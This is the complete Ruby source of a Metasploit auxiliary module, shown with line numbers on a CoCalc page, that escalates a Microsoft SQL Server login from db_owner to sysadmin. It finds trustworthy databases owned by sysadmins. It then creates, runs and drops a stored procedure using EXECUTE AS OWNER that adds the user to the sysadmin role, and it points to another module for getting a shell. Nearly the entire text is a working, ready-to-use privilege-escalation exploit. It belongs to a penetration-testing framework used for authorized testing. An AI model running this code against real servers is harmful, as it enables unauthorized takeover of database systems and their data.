CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::MSSQL
8
  include Msf::OptionalSession::MSSQL
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'Microsoft SQL Server Escalate Db_Owner',
13
      'Description'    => %q{
14
        This module can be used to escalate privileges to sysadmin if the user has
15
        the db_owner role in a trustworthy database owned by a sysadmin user.  Once
16
        the user has the sysadmin role the msssql_payload module can be used to obtain
17
        a shell on the system.
18
      },
19
      'Author'         => [ 'nullbind <scott.sutherland[at]netspi.com>'],
20
      'License'        => MSF_LICENSE,
21
      'References'     => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
22
    ))
23
  end
24

25
  def run
26
    # Check connection and issue initial query
27
    if session
28
      set_mssql_session(session.client)
29
    else
30
      print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
31
      if mssql_login_datastore
32
        print_good('Connected.')
33
      else
34
        print_error("Login was unsuccessful. Check your credentials.")
35
        disconnect
36
        return
37
      end
38
    end
39

40
    # Query for sysadmin status
41
    print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
42
    user_status = check_sysadmin
43

44
    # Check if user has sysadmin role
45
    if user_status == 1
46
      print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
47
      disconnect
48
      return
49
    else
50
      print_status("You're NOT a sysadmin, let's try to change that")
51
    end
52

53
    # Check for trusted databases owned by sysadmins
54
    print_status("Checking for trusted databases owned by sysadmins...")
55
    trust_db_list = check_trust_dbs
56
    if trust_db_list.nil? || trust_db_list.length == 0
57
      print_error('No databases owned by sysadmin were found flagged as trustworthy.')
58
      disconnect
59
      return
60
    else
61
      # Display list of accessible databases to user
62
      print_good("#{trust_db_list.length} affected database(s) were found:")
63
      trust_db_list.each do |db|
64
        print_status(" - #{db[0]}")
65
      end
66
    end
67

68
    # Check if the user has the db_owner role in any of the databases
69
    print_status('Checking if the user has the db_owner role in any of them...')
70
    dbowner_status = check_db_owner(trust_db_list)
71
    if dbowner_status.nil?
72
      print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
73
      disconnect
74
      return
75
    end
76

77
    # Attempt to escalate to sysadmin
78
    print_status("Attempting to escalate in #{dbowner_status}!")
79
    escalate_status = escalate_privs(dbowner_status)
80
    if escalate_status
81
      # Check if escalation was successful
82
      user_status = check_sysadmin
83
      if user_status == 1
84
        print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
85
      else
86
        print_error("Fail buckets, something went wrong.")
87
      end
88
    else
89
      print_error("Error while trying to escalate status")
90
    end
91

92
    disconnect
93
    return
94
  end
95

96
  # Checks if user is already sysadmin
97
  def check_sysadmin
98
    # Setup query to check for sysadmin
99
    sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
100

101
    # Run query
102
    result = mssql_query(sql)
103

104
    # Parse query results
105
    parse_results = result[:rows]
106
    status = parse_results[0][0]
107

108
    # Return status
109
    return status
110
  end
111

112
  # Gets trusted databases owned by sysadmins
113
  def check_trust_dbs
114
    # Setup query
115
    sql = "SELECT d.name AS DATABASENAME
116
    FROM sys.server_principals r
117
    INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
118
    INNER JOIN sys.server_principals p ON
119
    p.principal_id = m.member_principal_id
120
    inner join sys.databases d on suser_sname(d.owner_sid) = p.name
121
    WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
122

123
    result = mssql_query(sql)
124

125
    # Return on success
126
    return result[:rows]
127
  end
128

129
  # Checks if user has the db_owner role
130
  def check_db_owner(trust_db_list)
131
    # Check if the user has the db_owner role is any databases
132
    trust_db_list.each do |db|
133
      # Setup query
134
      sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
135
      from [#{db[0]}].sys.database_role_members drm
136
      join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
137
      join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
138
      where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
139

140
      # Run query
141
      result = mssql_query(sql)
142

143
      # Parse query results
144
      parse_results = result[:rows]
145
      if parse_results && parse_results.any?
146
        print_good("- db_owner on #{db[0]} found!")
147
        return db[0]
148
      end
149
    end
150

151
    nil
152
  end
153

154
  def escalate_privs(dbowner_db)
155
    print_status("#{dbowner_db}")
156
    # Create the evil stored procedure WITH EXECUTE AS OWNER
157
    evil_sql_create = "use #{dbowner_db};
158
    DECLARE @myevil as varchar(max)
159
    set @myevil = '
160
    CREATE PROCEDURE sp_elevate_me
161
    WITH EXECUTE AS OWNER
162
    as
163
    begin
164
    EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
165
    end';
166
    exec(@myevil);
167
    select 1;"
168
    mssql_query(evil_sql_create)
169

170
    # Run the evil stored procedure
171
    evilsql_run = "use #{dbowner_db};
172
    DECLARE @myevil2 as varchar(max)
173
    set @myevil2 = 'EXEC sp_elevate_me'
174
    exec(@myevil2);"
175
    mssql_query(evilsql_run)
176

177
    # Remove evil procedure
178
    evilsql_remove = "use #{dbowner_db};
179
    DECLARE @myevil3 as varchar(max)
180
    set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
181
    exec(@myevil3);"
182
    mssql_query(evilsql_remove)
183

184
    true
185
  end
186
end
187

188